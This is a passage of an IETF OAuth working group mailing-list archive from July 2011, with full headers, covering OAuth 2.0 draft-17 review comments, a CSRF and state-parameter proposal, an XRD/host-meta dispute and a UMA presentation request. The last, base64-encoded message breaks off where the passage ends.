https://www.ietf.org/mailman/listinfo/oauth > > From hardjono@mit.edu Mon Jul 4 15:27:05 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0184B21F87A7 for ; Mon, 4 Jul 2011 15:27:05 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.599 X-Spam-Level: X-Spam-Status: No, score=-3.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vlOSwQAepHFy for ; Mon, 4 Jul 2011 15:27:04 -0700 (PDT) Received: from dmz-mailsec-scanner-5.mit.edu (DMZ-MAILSEC-SCANNER-5.MIT.EDU [18.7.68.34]) by ietfa.amsl.com (Postfix) with ESMTP id 6470521F87A8 for ; Mon, 4 Jul 2011 15:27:04 -0700 (PDT) X-AuditID: 12074422-b7b19ae000000a1c-84-4e123e2c64ed Received: from mailhub-auth-2.mit.edu ( [18.7.62.36]) by dmz-mailsec-scanner-5.mit.edu (Symantec Messaging Gateway) with SMTP id CD.38.02588.C2E321E4; Mon, 4 Jul 2011 18:26:52 -0400 (EDT) Received: from outgoing-exchange-1.mit.edu (OUTGOING-EXCHANGE-1.MIT.EDU [18.9.28.15]) by mailhub-auth-2.mit.edu (8.13.8/8.9.2) with ESMTP id p64MR2wG008807; Mon, 4 Jul 2011 18:27:03 -0400 Received: from oc11exedge1.exchange.mit.edu (OC11EXEDGE1.EXCHANGE.MIT.EDU [18.9.3.17]) by outgoing-exchange-1.mit.edu (8.13.8/8.12.4) with ESMTP id p64MR1aD029730; Mon, 4 Jul 2011 18:27:01 -0400 Received: from oc11exhub6.exchange.mit.edu (18.9.3.16) by oc11exedge1.exchange.mit.edu (18.9.3.17) with Microsoft SMTP Server (TLS) id 8.2.255.0; Mon, 4 Jul 2011 18:26:34 -0400 Received: from EXPO10.exchange.mit.edu ([18.9.4.15]) by oc11exhub6.exchange.mit.edu ([18.9.3.16]) with mapi; Mon, 4 Jul 2011 18:27:01 -0400 From: Thomas Hardjono To: Barry Leiba Date: Mon, 4 Jul 2011 18:24:37 -0400 Thread-Topic: [OAUTH-WG] New draft on UMA Core protocol --- FW: I-D Action: draft-hardjono-oauth-umacore-00.txt Thread-Index: Acw6ZSq7QagHyR2vSYK9ItwnyrmKUwAM/2vi Message-ID: References: , In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFvrIKsWRmVeSWpSXmKPExsUixG6noqtjJ+Rn8L5bxOLQ4kusFu8uLGW0 OPn2FZsDs0fLql5mjyVLfjJ57Gu5yhbAHMVlk5Kak1mWWqRvl8CV8bTrPVPBea6K+xOvMjcw HuXoYuTkkBAwkTj08jgLhC0mceHeerYuRi4OIYF9jBLbz61lgnD2M0pceX+OGcI5xiix5dQs KGcLo8T53ydZIJx+RolnrXPAhrEJaEic+72XHcQWEdCUeP55ChOIzSwQK/F9ymY2EJtFQEXi 8/42VhBbWKBAov/+U0aI+kKJqTufAtVzANlGEt8XqIOEeQUCJD71Poc6aSqjxLJZH8FmcgoE Siw6e4kZxGYEeuL7qTVQu8Qlbj2ZzwTxnKDEotl7mGEe/bfrIRtEvajEnfb1jBD1OhILdn9i g7C1JZYtfM0MsVhQ4uTMJywTGCVnIRk7C0nLLCQts5C0LGBkWcUom5JbpZubmJlTnJqsW5yc mJeXWqRrqpebWaKXmlK6iREcsy5KOxh/HlQ6xCjAwajEw3vhnqCfEGtiWXFl7iFGSQ4mJVHe rbZCfkJ8SfkplRmJxRnxRaU5qcWHGCU4mJVEeD/oAeV4UxIrq1KL8mFS0hwsSuK8Jd7/fYUE 0hNLUrNTUwtSi2CyMhwcShK8py2BGgWLUtNTK9Iyc0oQ0kwcnCDDeYCGF4Ms5i0uSMwtzkyH yJ9iVJQS570JkhAASWSU5sH1wlLqK0ZxoFeEeVUtgKp4gOkYrvsV0GAmoMFWiYIgg0sSEVJS DYxJThuTK9gjmVu/Ra/epn45bkpOLjujluLFQ6+OshzRZJRYobdAt7EwoUhwY/m/PvWio2/W Sy1kCF4en10xpXXnFbeKx3ZZztfX1oQx7jaOTE/wmPZiX8uHWXeO3VsT4HNgMetBjizGD6zi MhPvTpl0mH+539Tp9wQbNx9MdGNY7B4ZceJ83UslluKMREMt5qLiRADA6IQBhAMAAA== Cc: "oauth \(oauth@ietf.org\)" Subject: Re: [OAUTH-WG] New draft on UMA Core protocol --- FW: I-D Action: draft-hardjono-oauth-umacore-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 04 Jul 2011 22:27:05 -0000 Thanks Barry. Could you please add me to the OAUTH WG Agenda for a presentation on UMA. I will send you the slides before July 22nd. Thanks again. Regards. /thomas/ ________________________________________ From: barryleiba.mailing.lists@gmail.com [barryleiba.mailing.lists@gmail.co= m] On Behalf Of Barry Leiba [barryleiba@computer.org] Sent: Monday, July 04, 2011 12:12 PM To: Thomas Hardjono Cc: oauth (oauth@ietf.org) Subject: Re: [OAUTH-WG] New draft on UMA Core protocol --- FW: I-D Action: = draft-hardjono-oauth-umacore-00.txt > FYI This is a new draft on the UMA Core protocol, which builds on OAuth2.= 0. > > Hopefully we can present/discuss it at IETF81 in Quebec City. The chairs will be happy to accept a presentation/discussion on this as time permits. That means it will go at the end of the agenda, and we will only get to it if other discussions finish with enough time for this. It would help if you sent us slides to include in the meeting materials. We'll include them in the materials whether or not there's time to present and discuss them, so they'll be part of the permanent record, and so people can look them over. I expect that we'll set the deadline for slide submissions at end of day Friday, 22 July. Send them to the chairs at . Barry, as chair From eran@hueniverse.com Mon Jul 4 22:09:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id F409E21F85C0 for ; Mon, 4 Jul 2011 22:09:28 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.73 X-Spam-Level: X-Spam-Status: No, score=-2.73 tagged_above=-999 required=5 tests=[AWL=-0.131, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id X2fSmphaklAm for ; Mon, 4 Jul 2011 22:09:27 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 7616B21F85A3 for ; Mon, 4 Jul 2011 22:09:27 -0700 (PDT) Received: (qmail 20120 invoked from network); 5 Jul 2011 05:09:22 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 5 Jul 2011 05:09:21 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Mon, 4 Jul 2011 22:09:21 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Mon, 4 Jul 2011 22:09:17 -0700 Thread-Topic: Timely review request: pre-draft-17 Thread-Index: Acw60bNgjUQ4p8h+QYCzO9enflhYbA== Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: [OAUTH-WG] Timely review request: pre-draft-17 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Jul 2011 05:09:29 -0000 I have started sharing my planned changes for =AD17: https://github.com/hueniverse/draft-ietf-oauth Change log: https://github.com/hueniverse/draft-ietf-oauth/commit/24a48f99c204331264028 f66708427961a1bc102#diff-3 My main focus right now is to clarify client types, registration, and identification, as well as tweak the registration requirements for redirection URIs. This is still very raw. However, I would very much like to get feedback about the following sections: 1.1.1. Client Types 1.2. Client Registration 2.1.1. Redirection URI In section 2.1.1, please note that it includes many new normative requirements, but in practice, they mostly boil down to the requirement to register a redirection URI for using the implicit grant type as well as using the authorization code with a public client (new term for describing client incapable of keeping secrets). I have turned the spec around, making registered redirection URIs the default, and using the parameter as an optional feature. Feedback is very much appreciated as we only have a few more days before I have to push out -17 and would like a few more eyes looking at the new text before published. I am still not ready to share changes to section 3. Also, I have a long list of additional changes raised on the list. Thanks, EHL From jricher@mitre.org Tue Jul 5 06:24:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9FB1D21F86A3; Tue, 5 Jul 2011 06:24:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.793 X-Spam-Level: X-Spam-Status: No, score=-5.793 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4, SARE_URI_CONS7=0.306, URI_NOVOWEL=0.5] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id YUjK+s18aL2s; Tue, 5 Jul 2011 06:24:20 -0700 (PDT) Received: from smtpksrv1.mitre.org (smtpksrv1.mitre.org [198.49.146.77]) by ietfa.amsl.com (Postfix) with ESMTP id 9916C21F85BE; Tue, 5 Jul 2011 06:24:20 -0700 (PDT) Received: from smtpksrv1.mitre.org (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with SMTP id 7E70F21B13FE; Tue, 5 Jul 2011 09:24:19 -0400 (EDT) Received: from imchub2.MITRE.ORG (imchub2.mitre.org [129.83.29.74]) by smtpksrv1.mitre.org (Postfix) with ESMTP id 78BD921B0457; Tue, 5 Jul 2011 09:24:19 -0400 (EDT) Received: from [129.83.50.1] (129.83.50.1) by imchub2.MITRE.ORG (129.83.29.74) with Microsoft SMTP Server id 8.3.159.2; Tue, 5 Jul 2011 09:24:19 -0400 From: Justin Richer To: Eve Maler In-Reply-To: <2F5498A8-CA85-49FE-BEB0-86483868D86D@xmlgrrl.com> References: <2F5498A8-CA85-49FE-BEB0-86483868D86D@xmlgrrl.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 5 Jul 2011 09:22:09 -0400 Message-ID: <1309872129.28669.6.camel@ground> MIME-Version: 1.0 X-Mailer: Evolution 2.32.2 Content-Transfer-Encoding: 8bit Cc: Mark Nottingham , "ietf@ietf.org IETF" , oauth WG Subject: Re: [OAUTH-WG] Second Last Call: (Web Host Metadata) to Proposed Standard -- feedback X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Jul 2011 13:24:21 -0000 The OpenID Connect folks have been using Simple Web Discovery, which is as I understand it a rough translation of XRD into JSON, with a couple of simplifying changes. (Mike, want to throw your hat in on this one?) http://tools.ietf.org/html/draft-jones-simple-web-discovery-00 -- Justin On Mon, 2011-07-04 at 00:27 -0400, Eve Maler wrote: > FWIW, the "Dynamic OAuth Client Registration" proposal made by the > User-Managed Access folks: > > > http://tools.ietf.org/html/draft-hardjono-oauth-dynreg-00 > > > ...makes use of XRD, hostmeta, and discovery, as does the OAuth-based > UMA protocol itself: > > > http://www.ietf.org/internet-drafts/draft-hardjono-oauth-umacore-00.txt > > > We'd be just as happy to use a JSON-based version of XRD if it can be > standardized, and we did do some experimentation with this early on. > But because XRD 1.0 is now stable and is straightforward enough to use > for our needs, we decided to use it normatively for now. The UMA > implementation used by http://smartam.net implements this today and it > works fine. > > > Eve > > On 3 Jul 2011, at 9:50 AM, Eran Hammer-Lahav wrote: > > > Hannes, > > > > > > None of the current OAuth WG document address discovery in any way, > > so clearly there will be no use of XRD. But the OAuth community > > predating the IETF had multiple proposals for it. In addition, > > multiple times on the IETF OAuth WG list, people have suggested > > using host-meta and XRD for discovery purposes. > > > > > > The idea that XRD was reused without merit is both misleading and > > mean-spirited. Personally, I'm sick of it, especially coming from > > standards professionals. > > > > > > XRD was largely developed by the same people who worked on > > host-meta. XRD predated host-meta and was designed to cover the > > wider use case. Host-meta was an important use case when developing > > XRD in its final few months. It was done in OASIS out of respect to > > proper standards process in which the body that originated a work > > (XRDS) gets to keep it. > > > > > > I challenge anyone to find any faults with the IPR policy or process > > used to develop host-meta in OASIS. > > > > > > XRD is one of the simplest XML formats I have seen. I bet most of > > the people bashing it now have never bothered to read it. At least > > some of these people have been personally invited by me to comment > > on XRD while it was still in development and chose to dismiss it. > > > > > > XRD was designed in a very open process with plenty of community > > feedback and it was significantly simplified based on that feedback. > > In addition, host-meta further simplifies it by profiling it down, > > removing some of the more complex elements like Subject and Alias > > (which are very useful in other contexts). XRD is nothing more than > > a cleaner version of HTML elements with literally a handful > > of new elements based on well defined and widely supported > > requirements. It's entire semantic meaning is based on the IETF Link > > relation registry RFC. > > > > > > There is something very disturbing going on these days in how people > > treat XML-based formats, especially form OASIS. > > > > > > When host-meta's predecessor - side–meta – was originally proposed a > > few years ago, Mark Nottingham proposed an XML format not that > > different from XRD. There is nothing wrong with JSON taking over as > > a simpler alternative. I personally prefer JSON much better. But it > > would be reckless and counter productive to ignore a decade of work > > on XML formats just because it is no longer cool. Feels like we back > > in high school. > > > > > > If you have technical arguments against host-meta, please share. But > > if your objections are based on changing trends, dislike of XML or > > anything OASIS, grow up. > > > > > > EHL > > > > > > > > > > > > > > From: Hannes Tschofenig > > Date: Sun, 3 Jul 2011 00:36:29 -0700 > > To: Mark Nottingham > > Cc: Hannes Tschofenig , "ietf@ietf.org > > IETF" , Eran Hammer-lahav , > > oauth WG > > Subject: Re: Second Last Call: (Web > > Host Metadata) to Proposed Standard -- feedback > > > > > > > > > I also never really understood why XRD was re-used. > > > > > > > > > Btw, XRD is not used by any of the current OAuth WG documents, see > > > http://datatracker.ietf.org/wg/oauth/ > > > > > > > > > > > > > > > On Jun 22, 2011, at 8:08 AM, Mark Nottingham wrote: > > > > > > > > > > * XRD -- XRD is an OASIS spec that's used by OpenID and OAuth. > > > > Maybe I'm just scarred by WS-*, but it seems very > > > > over-engineered for what it does. I understand that the > > > > communities had reasons for using it to leverage an existing > > > > user base for their specific user cases, but I don't see any > > > > reason to generalise such a beast into a generic mechanism. > > > > > > > > > > > > > > _______________________________________________ > > OAuth mailing list > > OAuth@ietf.org > > https://www.ietf.org/mailman/listinfo/oauth > > > Eve Maler http://www.xmlgrrl.com/blog > +1 425 345 6756 http://www.twitter.com/xmlgrrl > From sweeden@au1.ibm.com Tue Jul 5 13:26:34 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7EED621F882C; Tue, 5 Jul 2011 13:26:34 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -7.089 X-Spam-Level: X-Spam-Status: No, score=-7.089 tagged_above=-999 required=5 tests=[AWL=-0.490, BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id fOHPntJR-Frr; Tue, 5 Jul 2011 13:26:29 -0700 (PDT) Received: from e23smtp09.au.ibm.com (e23smtp09.au.ibm.com [202.81.31.142]) by ietfa.amsl.com (Postfix) with ESMTP id 580CB21F8828; Tue, 5 Jul 2011 13:26:27 -0700 (PDT) Received: from d23relay04.au.ibm.com (d23relay04.au.ibm.com [202.81.31.246]) by e23smtp09.au.ibm.com (8.14.4/8.13.1) with ESMTP id p65KQKu0026431; Wed, 6 Jul 2011 06:26:20 +1000 Received: from d23av01.au.ibm.com (d23av01.au.ibm.com [9.190.234.96]) by d23relay04.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p65KOvEf1216692; Wed, 6 Jul 2011 06:25:02 +1000 Received: from d23av01.au.ibm.com (loopback [127.0.0.1]) by d23av01.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p65KQF5B015443; Wed, 6 Jul 2011 06:26:15 +1000 Received: from d23ml004.au.ibm.com (d23ml004.au.ibm.com [9.190.250.23]) by d23av01.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p65KQFGA015439; Wed, 6 Jul 2011 06:26:15 +1000 In-Reply-To: References: X-KeepSent: B5052BE7:F50202DE-4A2578C4:006C8B3D; type=4; name=$KeepSent To: Eran Hammer-Lahav X-Mailer: Lotus Notes Release 8.5.1FP1 SHF20 February 10, 2010 Message-ID: From: Shane B Weeden Date: Wed, 6 Jul 2011 06:24:36 +1000 X-MIMETrack: Serialize by Router on d23ml004/23/M/IBM(Release 8.5.1FP4HF290 | June 6, 2011) at 06/07/2011 06:29:43 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: quoted-printable Cc: OAuth WG , oauth-bounces@ietf.org Subject: Re: [OAUTH-WG] Timely review request: pre-draft-17 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 05 Jul 2011 20:26:34 -0000 Looking at the .txt version: 1. Line 260 s/authentication/authenticate OAuth defines two client types, based on their ability to maintain the confidentiality of their client credential, used to authentication with the authorization server: 2. Line 274 s/with with/with Before initiating the protocol, the client registers with with the 3. Line 508 s/denote/denotes the client. The token denote an identifier used to retrieve the 4. In section 1.6, I still find it misleading to say: The refresh token is bound to the client it was issued to, and its u= sage requires client authentication. This still implies "public clients" can't use refresh tokens by way of = the authentication requirement. I now understand the language in section 3 regarding an authorization server's discretion with client authenticati= on, but I would propose either dropping ", and it's usage requires client authentication" above, or changing it to: The refresh token is bound to the client it was issued to. Authorization servers should require client authentication for private clients when a refresh token is presented. 5. Is section 3.1 still [[Pending Consensus]] ? 6. Section 4.1.1 Authorization Request and section 4.2.1 Authorization Request To protect against CSRF I believe the state parameter should be REQUIRE= D, unless someone can demonstrate a scenario where it is not used and CSRF= is avoided by other means. Regards, Shane. From: Eran Hammer-Lahav To: OAuth WG Date: 05-07-11 03:13 PM Subject: [OAUTH-WG] Timely review request: pre-draft-17 Sent by: oauth-bounces@ietf.org I have started sharing my planned changes for =AD17: https://github.com/hueniverse/draft-ietf-oauth Change log: https://github.com/hueniverse/draft-ietf-oauth/commit/24a48f99c20433126= 4028 f66708427961a1bc102#diff-3 My main focus right now is to clarify client types, registration, and identification, as well as tweak the registration requirements for redirection URIs. This is still very raw. However, I would very much li= ke to get feedback about the following sections: 1.1.1. Client Types 1.2. Client Registration 2.1.1. Redirection URI In section 2.1.1, please note that it includes many new normative requirements, but in practice, they mostly boil down to the requirement= to register a redirection URI for using the implicit grant type as well as= using the authorization code with a public client (new term for describ= ing client incapable of keeping secrets). I have turned the spec around, making registered redirection URIs the default, and using the parameter as an optional feature. Feedback is very much appreciated as we only have a few more days befor= e I have to push out -17 and would like a few more eyes looking at the new text before published. I am still not ready to share changes to section 3. Also, I have a long= list of additional changes raised on the list. Thanks, EHL _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth = From torsten@lodderstedt.net Wed Jul 6 00:48:23 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5B9D621F8602 for ; Wed, 6 Jul 2011 00:48:23 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.248 X-Spam-Level: X-Spam-Status: No, score=-2.248 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6SPAvgaYh6sa for ; Wed, 6 Jul 2011 00:48:22 -0700 (PDT) Received: from smtprelay06.ispgateway.de (smtprelay06.ispgateway.de [80.67.31.96]) by ietfa.amsl.com (Postfix) with ESMTP id 2984021F85F5 for ; Wed, 6 Jul 2011 00:48:21 -0700 (PDT) Received: from [88.249.48.57] (helo=[192.168.178.216]) by smtprelay06.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1QeMqJ-0000Ly-NQ; Wed, 06 Jul 2011 09:48:20 +0200 References: User-Agent: K-9 Mail for Android In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----DKLTGSYG05FC37B1811U12C4UV4H3F" From: Torsten Lodderstedt Date: Wed, 06 Jul 2011 10:48:16 +0300 To: Eran Hammer-Lahav ,OAuth WG Message-ID: X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] Section 10.1 (Client authentication) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 07:48:23 -0000 ------DKLTGSYG05FC37B1811U12C4UV4H3F Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi Eran, I would suggest to change it to SHOULD and add a reference to https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections 3.7 and 5.2.3. regards, Torsten. Eran Hammer-Lahav schrieb: It's a pointless MUST given how undefined the requirements are. It will only be understood by security experts and they don't really need it. At a minimum, it needs some examples. EHL From: Torsten Lodderstedt Date: Wed, 1 Jun 2011 00:53:37 -0700 To: Eran Hammer-lahav , OAuth WG Subject: Section 10.1 (Client authentication) Hi Eran, would you please add the following sentence (which was contained in the original security considerations text) to the second paragraph of section 1.0.1? Alternatively, authorization servers MUST utilize other means than client authentication to achieve their security objectives. I think it's important to state that authorization server should consider alternative way to validate the client identity if secrets cannot be used. The security threat document also suggest some. regards, Torsten. ------DKLTGSYG05FC37B1811U12C4UV4H3F Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit Hi Eran,

I would suggest to change it to SHOULD and add a reference to https://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00 sections 3.7 and 5.2.3.

regards,
Torsten.



Eran Hammer-Lahav <eran@hueniverse.com> schrieb:
It's a pointless MUST given how undefined the requirements are. It will only be understood by security experts and they don't really need it. At a minimum, it needs some examples.

EHL

From: Torsten Lodderstedt <torsten@lodderstedt.net>
Date: Wed, 1 Jun 2011 00:53:37 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>, OAuth WG <oauth@ietf.org>
Subject: Section 10.1 (Client authentication)

Hi Eran,

would you please add the following sentence (which was contained in the
original security considerations text) to the second paragraph of
section 1.0.1?

Alternatively, authorization servers MUST utilize
    other means than client authentication to achieve their security
    objectives.


I think it's important to state that authorization server should
consider alternative way to validate the client identity if secrets
cannot be used. The security threat document also suggest some.

regards,
Torsten.



------DKLTGSYG05FC37B1811U12C4UV4H3F-- From mark.mcgloin@ie.ibm.com Wed Jul 6 08:56:51 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C602321F8595 for ; Wed, 6 Jul 2011 08:56:51 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.568 X-Spam-Level: X-Spam-Status: No, score=-6.568 tagged_above=-999 required=5 tests=[AWL=-0.010, BAYES_00=-2.599, MIME_BASE64_BLANKS=0.041, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Q6w8ePZKxigJ for ; Wed, 6 Jul 2011 08:56:50 -0700 (PDT) Received: from mtagate3.uk.ibm.com (mtagate3.uk.ibm.com [194.196.100.163]) by ietfa.amsl.com (Postfix) with ESMTP id E774221F85A0 for ; Wed, 6 Jul 2011 08:56:49 -0700 (PDT) Received: from d06nrmr1307.portsmouth.uk.ibm.com (d06nrmr1307.portsmouth.uk.ibm.com [9.149.38.129]) by mtagate3.uk.ibm.com (8.13.1/8.13.1) with ESMTP id p66Fufh7010727 for ; Wed, 6 Jul 2011 15:56:41 GMT Received: from d06av09.portsmouth.uk.ibm.com (d06av09.portsmouth.uk.ibm.com [9.149.37.250]) by d06nrmr1307.portsmouth.uk.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p66Fufxj2396412 for ; Wed, 6 Jul 2011 16:56:41 +0100 Received: from d06av09.portsmouth.uk.ibm.com (loopback [127.0.0.1]) by d06av09.portsmouth.uk.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p66FufKO024460 for ; Wed, 6 Jul 2011 09:56:41 -0600 Received: from d06ml093.portsmouth.uk.ibm.com (d06ml093.portsmouth.uk.ibm.com [9.149.104.171]) by d06av09.portsmouth.uk.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p66Fufet024451; Wed, 6 Jul 2011 09:56:41 -0600 In-Reply-To: References: X-KeepSent: 1DC2DA04:D7086B26-802578C5:003A389E; type=4; name=$KeepSent To: Eran Hammer-Lahav X-Mailer: Lotus Notes Release 8.5.1FP5 SHF29 November 12, 2010 Message-ID: From: Mark Mcgloin Date: Wed, 6 Jul 2011 16:56:03 +0100 X-MIMETrack: Serialize by Router on D06ML093/06/M/IBM(Release 8.0.2FP6|July 15, 2010) at 06/07/2011 16:56:04 MIME-Version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: base64 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Draft 16 Security Considerations additions X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Jul 2011 15:56:51 -0000 UmV3b3JkZWQgdG8gbW9kaWZ5IHRoZSB0ZXh0IGFyb3VuZCBzZWNyZXQgYW5kIHNvbWUgYWRkaXRp b25hbCBpbmZvIG9uDQpyZWRpcmVjdC11cmkgKHdpdGggc29tZSBpbnB1dCBmcm9tIFNoYW5lIFdl YWRlbikgYW5kIGFkZGluZyBzdGF0ZSBpbg0KZHluYW1pYyByZWRpcmVjdC11cmkgKHdpdGggaW5w dXQgZnJvbSBUb3JzdGVuKQ0KDQpDU1JGDQpDcm9zcy1TaXRlIFJlcXVlc3QgRm9yZ2VyeSAoQ1NS RikgaXMgYSB3ZWItYmFzZWQgYXR0YWNrIHdoZXJlYnkgSFRUUA0KcmVxdWVzdHMgYXJlIHRyYW5z bWl0dGVkIGZyb20gYSB1c2VyIHRoYXQgdGhlIHdlYnNpdGUgdHJ1c3RzIG9yIGhhcw0KYXV0aGVu dGljYXRlZC4gQ1NSRiBhdHRhY2tzIG9uIE9BdXRoIGFwcHJvdmFscyBjYW4gYWxsb3cgYW4gYXR0 YWNrZXIgdG8NCm9idGFpbiBhdXRob3JpemF0aW9uIHRvIE9BdXRoIFByb3RlY3RlZCBSZXNvdXJj ZXMgd2l0aG91dCB0aGUgY29uc2VudCBvZg0KdGhlIFVzZXIuDQpUaGUgc3RhdGUgcGFyYW1ldGVy IHNob3VsZCBiZSB1c2VkIHRvIG1pdGlnYXRlIGFnYWluc3QgQ1NSRiBhdHRhY2tzLA0KcGFydGlj dWxhcmx5IGZvciBsb2dpbiBDU1JGIGF0dGFja3MuIENTUkYgYXR0YWNrcyBhZ2FpbnN0IGEgY2xp ZW50J3MNCnJlZGlyZWN0IFVSSSBhbGxvdyBhbiBhdHRhY2tlciB0byBpbmplY3QgdGhlaXIgb3du IGF1dGhvcml6YXRpb24gY29kZSAob3INCmFjY2VzcyB0b2tlbiBmb3IgaW1wbGljaXQgZ3JhbnQg ZmxvdykuIFRoaXMgbWF5IHJlc3VsdCBpbiB0aGUgY2xpZW50IHVzaW5nDQphbiBhY2Nlc3MgdG9r ZW4gYXNzb2NpYXRlZCB3aXRoIHRoZSBhdHRhY2tlcnMgYWNjb3VudCByYXRoZXIgdGhhbiB0aGUN CnZpY3RpbXMuIERlcGVuZGluZyBvbiB0aGUgbmF0dXJlIG9mIHRoZSBjbGllbnQgYW5kIHRoZSBw cm90ZWN0ZWQgcmVzb3VyY2VzLA0KdGhpcyBjYW4gaGF2ZSB1bmRlc2lyYWJsZSBhbmQgZGFtYWdp bmcgZWZmZWN0cy4NCkl0IGlzIHN0cm9uZ2x5IFJFQ09NTUVOREVEIHRoYXQgdGhlIGNsaWVudCBz 